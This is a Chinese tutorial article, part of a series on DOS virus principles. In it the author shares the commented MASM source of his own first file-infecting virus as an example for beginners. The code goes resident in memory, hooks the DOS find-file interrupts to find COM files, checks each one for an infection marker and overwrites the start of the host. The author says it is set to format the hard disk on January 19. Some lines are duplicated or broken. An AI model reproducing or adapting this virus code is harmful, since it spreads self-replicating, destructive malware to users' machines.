Dos病毒原理(6)编写的第一个病毒
日期:2007-04-28 荐:
Dos病毒原理
编写的第一个病毒
当然我没有拿出去感染。(这是很重要的:))
这个病毒的历史应该有五年之久了,所以编写地水平应该说是很低我把它保持原样,作为一个纪念,也作为病毒新手的一个范例。
这个病毒通过截获Int 21H的11H,12H子功能进行感染,11h,12h是FCB方式的Findfirst,findnext同时截获4E,4F(FINDFIRST,FINDNEXT)感染病毒发作于1月19日,发作方式为格式化硬盘(但是好象当年编写错了,不能破坏现在的微机:))病毒的感染方法是将COM文件的前面的一段(长度为病毒的长度)挪至末尾,然后把病毒本身覆盖于宿主前面所有注释都是为大家新加的,我写ASM以前没有注释的习惯
请在MASM5下编译
~
;Include stdio.h ;中间包括pmain,pend,retms
retms macro
mov ax,4c00h
Int 21h
Endm
pmain macro
code segment
assume cs:code,ds:code
org 100h
start:
endM
pend macro
code ends
end start
endM
theSize equ offset endit-100h ;病毒的长度=最后的偏移减去PSP的长度
addnum equ thesize 200
wpt equ word ptr
bpt equ byte ptr
filebufofs equ offset endit 100
Stackofs equ offset endit
GetDta macro ;这个Macro得到DTA的指针
mov ah,2fh
int 21h ;FCB方式的很多东西都保存在DTA中间。
push es
pop ds
push bx
pop si
pop si
EndM
pushAll macro ;保存寄存器的MACRO
Irp reg,
PUSH REG
ENDM
POPALL MACRO ;恢复寄存器的MACRO
iRP REG,
POP REG
ENDM
;如果大家想省点空间,使用.286 ,把这两个Macro改成Pusha & Popa
Dta Struc ;Data transfer Area的结构,对于感染而言可以得到文件名
reServed db 21 dup(?)
Attr db ?
Time dw ?
Date dw ?
fileSize dd ?
filename db 13 dup (?)
FreeName db ?,?,?
Dta ends
pmain
Jmp begin
thebegin dw offset endit
begin:
mov ax,0ffeeh ;这是我的病毒驻留标志判断
int 21h
cmp ax,0eeffh ;返回为0EEFF表示已经驻留
je installed
mov cs:ShowFlag,-1
mov ah,2ah ;看看当前日期
int 21h
cmp dl,19 ;19号?
jne next
cmp dh,1 ;1月?
jne NotformatHdisk
mov cs:ShowFlag,0
NotformatHdisk:
Call Show ;惨了,我要格式化硬盘了
Next:
xor ax,ax
mov es,ax
mov ax,es:[21h*4 2]
mov bx,es:[21h*4]
mov wpt cs:old21 2,ax
mov wpt cs:old21,bx ;保存老的INT 21H的中断向量
call getaddress ;把病毒代码移动到高端
mov ax,cs:addr
mov bx,offset int21h
cli
xor cx,cx
mov es,cx
mov es:[21h*4],bx
mov es:[21h*4 2],ax ;把INT 21H的控制权交给病毒
sti
installed:
mov ax,cs
mov ds,ax
mov es,ax
mov si,thebegin
mov di,100h
mov cx,thesize ;恢复100H开始处被破坏的指令
cld
rep movsb
jmp Start ;跳转回100H,转宿主执行
;注意:可能应该Push cs,
;Mov ax,100h,Push ax,retf
DtaSave Dta <> ;保存DTA的缓冲区
addr dw ?
Flag db 0
SaveSS dw ?
SaveSP dw ?
dtaSize equ 43 ;Dta的大小为43个字节
Handle dw ? ;将来用到的文件Handle
NextFlag db ?
getaddress proc near ;病毒驻留模块
mov ax,cs
dec ax
mov es,ax ;得到MCB (Memory Control Block)的段值
mov ax,es:[3] ;得到MCB的块大小
mov bx,offset endit ;
add bx,addnum ;
add bx,15 ;
mov cl,4 ;
shr bx,cl ;
sub ax,bx ;把MCB的块大小减少(病毒的长度*2 200)
mov es:[3],ax ;这样留出的空间给病毒程序和病毒读写的文件缓冲
mov bx,cs
mov bx,cs
add ax,bx
mov cs:addr,ax
mov es,ax ;得到病毒驻留空间的段值
xor si,si
xor di,di
push cs
pop ds
mov cx,offset endit
cld
rep movsb ;把病毒代码移到留出的空间位置
ret
getaddress endp
old21 dd ?
int24h proc far
mov al,0
mov cs:Flag24h,-1 ;防止出现严重错误
Iret
Flag24h db 0 ;例如出现感染写保护出现的提示
int24h endp
CH24h proc near ;替换INT 24H
xor ax,ax
mov es,ax
mov es,ax
mov ax,es:[24h*4]
mov bx,es:[24h*4 2]
mov wpt cs:old24,ax
mov wpt cs:old24 2,bx
mov bx,cs
mov ax,offset int24h
mov es:[24h*4],ax
mov es:[24h*4 2],bx
ret
Ch24h endp
Res24 proc near ;还原INT 24H
xor ax,ax
mov es,ax
mov ax,wpt cs:old24
mov bx,wpt cs:old24 2
mov es:[24h*4],ax
mov es:[24h*4 2],bx
ret
Res24 endp
old24 dd ?
int21h proc far ;感染监控核心部分,INT 21H处理
sti
sti
cmp ax,0ffeeh ;病毒驻留标志
jne next21h
mov ax,0eeffh ;返回已经驻留
Iret
next21h:
cmp ah,4fh ;是FindNext吗?
je findnext
cmp ah,12h ;是FCB方式的FindNext吗?
jne outInt21h
mov bpt cs:NextFlag,0 ;NextFlag=0表示为FCB FindNext
Jmp FindNext1
outInt21h:
jmp cs:old21
findnext:
mov cs:NextFlag,1 ;NextFlag=1表示为4F FinddNext
findnext1:
mov cs:Flag24h,0 ;
mov cs:SaveSS,ss
pushAll
mov cs:SaveSP,SP ;保存SS,SP,然后切换堆栈
mov ds,cs:SaveSS ;保证DOS重入成功
mov si,sp
mov si,sp
mov ax,cs
mov es,ax
mov di,StackOfs
cld
mov cx,50
rep movsw ;保存50个字的堆栈,我的TSR经常使用
mov ax,cs
mov ss,ax
mov sp,100h ;切换堆栈
GetDTA ;DS:SI --> DTA adress ;得到DTA的指针
push cs
pop es
mov di,offset DTASave
mov cx,DTASize
cld
rep movsb ;保存起DTA的数据
call ch24h ;修改INT24H,保障不出严重错误
cmp bpt cs:NextFlag,1 ;以4F方式的DTA为摸版
je NotCHangeDta
call ChangeDta ;如果是标准DTA方式扩展成扩展DTA
NotCHangeDta:
call cmpifcomFile ;判断当前查的文件是否COM文件
cmp al,0
jne Hasbeen
Call cmpifbeen ;是COM文件判断是否被感染
cmp al,0
jne Hasbeen
cmp cs:Flag24h,-1 ;出现严重错误,放弃感染
je HasBeen ;
Call dofile ;否则感染之
Hasbeen:
call Res24 ;恢复INT24H
cli
push cs
pop ds
mov es,cs:SaveSS
mov si,StackOfs
mov di,cs:SaveSP
cld
mov cx,50
rep movsw ;恢复堆栈
mov ss,cs:SaveSS
mov Sp,cs:SaveSp ;恢复堆栈寄存器
sti
sti
PopAll
Jmp cs:old21 ;转原INT 21H处理程序
Int21h endp
Cmpifcomfile proc near
mov si,offset DtaSave.filename
LoopCMp:
cmp bpt cs:[si],0
je OutCmp
inc si
jmp loopCmp
Outcmp:
cmp bpt cs:[si-1],'M'
jne notComfile
cmp bpt cs:[si-2],'O'
jne notComfile
cmp bpt cs:[si-3],'C'
jne notComfile
cmp bpt cs:[si-4],'.' ;比较文件扩展名是否为.COM
jne notComfile
mov al,0
ret
notComfile:
notComfile:
mov al,-1
ret
Cmpifcomfile endp
cmpifbeen proc near ;看是否已经被感染
push cs
pop ds
mov dx,offset DtaSave.filename
mov ax,3d00h
int 21h
jc been
mov cs:handle,ax
mov ah,3fh
mov bx,cs:handle
mov cx,2
mov dx,FILEBUFOFS
int 21h
mov ah,3eh
mov bx,cs:handle
int 21h
mov si,100h
mov ax,ds:[si]
mov si,FIleBufOfs
mov bx,ds:[si]
cmp ax,bx ;判断感染标志,(最前两字节)
je Been
mov al,0
ret
been:mov al,-1
ret
cmpifbeen endp
标签: